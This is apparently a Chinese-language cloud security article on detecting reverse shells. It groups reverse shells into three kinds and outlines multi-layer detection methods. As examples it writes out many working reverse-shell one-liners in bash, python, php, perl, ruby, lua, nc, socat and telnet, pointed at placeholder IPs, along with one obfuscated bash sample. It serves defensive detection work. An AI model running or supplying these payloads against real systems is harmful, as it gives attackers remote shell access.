前言
云上现状
常规解法
-
命令日志采集不够完整,比如通过netlink等方式采集的日志,在碰到管道符、重定向时会无法采集原始执行的命令。
而通过patch bash的方式去记录命令日志,在遇到服务器使用zsh、ksh等其他shell环境,或攻击者上传自己编译的bash会失效
-
正则无法覆盖无穷无尽的文本对抗,攻击者总能挖掘出新的方式变形来绕过,在实际业务场景中,过多复杂正则带来性能压力,而通配性更广的正则带来误报
-
网络流量加密后,特征匹配失效
分类与检测思想
-
网络通信可以使用TCP/UDP/ICMP等协议,TCP协议再细分又可以包含HTTP/HTTPS协议等,UDP包含DNS等;
-
命令执行可以通过调用shell解释器、glibc库、Syscall等方式实现;
-
重定向我们称之为“中转”,可以通过管道、文件描述符、内存文件等等实现。
第一类反弹shell:直接重定向shell的输入输出到socket
最典型的例子是
bash -i >& /dev/tcp/10.10.10.10/666 0>&1
通过重定向bash -i的标准输入、标准输出、标准错误到/dev/tcp socket进行网络通信,可以通过下图理解重定向过程
直接重定向shell解释器的输入输出到socket类型常见例子
bash -i >& /dev/tcp/10.10.10.10/6060 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",6060));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("10.10.10.10",6060);exec("/bin/sh -i <&3 >&3 2>&3");'
perl -e 'use Socket;$i="10.10.10.10";$p=6060;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
ruby -rsocket -e'f=TCPSocket.open("10.10.10.10",6060).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.10.10.10','6060');os.execute('/bin/sh -i <&3 >&3 2>&3');"
第二类反弹shell:通过管道/伪终端等中转, 再重定向shell的输入输出到中转
mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | openssl s_client -quiet -connect 0.0.0.0:666 > /tmp/f
云安全中心告警
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.155",10006));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
云安全中心告警
通过管道、伪终端等作为中转体,并与socket打通,重定向shell解释器的输入输出到中转体,比如以下案例
nc 10.10.10.10 6060|/bin/sh|nc 10.10.10.10 5050 nc -e /bin/bash 10.10.10.10 6060 nc -c bash 10.10.10.10 6060 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.10:6060
mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 6060>/tmp/f
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.10.10:6060 > /tmp/s; rm /tmp/s
mknod backpipe p; nc 10.10.10.10 6060 0<backpipe | /bin/bash 1>backpipe 2>backpipe
exec 5<>/dev/tcp/10.10.10.10/6060;cat <&5|while read line;do $line >&5 2>&1;done
telnet 10.10.10.10 6060 | /bin/bash | telnet 10.10.10.10 5050
第三类反弹shell:编程语言实现标准输入中转,重定向命令执行的输入到中转
python -c "exec("import socket, subprocess;s = socket.socket();s.connect(('0.0.0.0',666))nwhile 1: proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subprocess.PIPE,shell=True);s.send(proc.stdout.read()+proc.stderr.read())")"
python -c "exec("import socket, subprocess;s = socket.socket();s.connect(('10.10.10.10',6060))nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())")"
lua5.1 -e 'local host, port = "10.10.10.10", 6060 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.10.10","6060");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
阿里云安全中心多维检测方案
脚本沙箱
"${@~~}" "${@^^}" $BASH ${*%%$9tcW)zX} <<< "$( "${@~~}" $'162'''e${*}v <<< ' }^^*{$ ") }^^*{$ ; }4S:{/CZ.!?//@{$ }^^@{$ "}~~H7ONC{$" s% f"t"n""ir*$p}@!{$ },*{$ }L>JO%*{$ && }caL&[%%@{$ '"'"'1&>0 3332/1.1.1.1/PCT/VED/ &> I- HSAB'"'"'=H7ONC ($" l}#VDG~g/g:fii//*{$a"}~@{$"v'"'"'e'"'"' }~*{$ ' ${@~} ${@^} ; ${*%%S9;fj$^Y} )" ${*,,} ${@%r-,,}
二进制沙箱
流量特征
对抗行为检测
分类与检测思想
云安全中心实践纵深检测思想,采用多维度交叉检测反弹shell方案,通过进程特征覆盖、文件描述符分析、命令行为序列、异常shell启动、二进制沙箱、脚本沙箱、流量特征覆盖、对抗行为检测共八项技术在不同入侵阶段埋点,从而最大程度保障检出效果。
阿里云安全-“宙斯计划”,是由阿里云安全中心推出的长期项目,计划将围绕恶意文本检测、流量检测、恶意行为分析等多个方向,用挑战赛、论文共创、研讨会等多种形式,与广大安全产业及学术专家群体一起探索业内前沿技术。
活动已举办3期,2021年还会继续举办更多期活动,欢迎感兴趣的白帽同学们关注&参加!https://www.yuque.com/azeus/01
原文始发于微信公众号(黑伞安全):云上反弹shell多维检测技术